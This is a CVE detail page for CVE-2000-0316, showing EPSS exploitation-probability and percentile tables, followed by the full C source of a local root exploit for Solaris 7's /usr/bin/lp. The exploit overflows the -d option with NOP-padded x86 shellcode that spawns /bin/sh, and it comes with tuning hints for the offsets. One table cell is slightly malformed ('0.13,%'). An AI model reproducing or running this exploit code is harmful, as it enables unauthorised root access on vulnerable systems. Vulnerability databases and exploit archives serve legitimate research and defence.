CVE-2000-0316 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.15%
2025-03-30	–	–	–	–	0.13%
2025-04-15	–	–	–	–	0.13%
2025-04-15	–	–	–	–	0.13,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	32%
2025-03-30	29%
2025-04-15	34%
2025-04-15	34%

// source: https://www.securityfocus.com/bid/1143/info A buffer overrun has been discovered in the lp program, as included with Sun's Solaris 7 operating system. By passing well crafted, machine executable code of sufficient length to the -d option of lp, it becomes possible to execute arbitrary code as root. /* * * solaris 2.7 /usr/bin/lp local exploit, i386. * * discovered by DiGiT. * try offset 150-250 if sploit fails * * greets: #!ADM, #!security.is, #hax, duke * * DiGiT - teddi@linux.is * */ #include <stdio.h> #include <stdlib.h> char shellcode[] = "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4" "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf" "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff" "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53" "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff"; #define BUFSIZE 1100 long get_esp() { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char buff[BUFSIZE]; int nopcount=501, offset=260; int i; if (argc > 1) offset = atoi(argv[1]); if (argc > 2) nopcount = atoi(argv[2]); memset (buff, 0x90, BUFSIZE); for (i = nopcount; i < BUFSIZE - 4; i += 4) *(long *) &buff[i] = get_esp() + offset; memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen (shellcode)); memcpy (buff, ":", 1); printf("Addr = 0x%x\n", get_esp() + offset); execl("/usr/bin/lp", "lp", "-d", buff, "-p", "/tmp/ps_data",NULL); }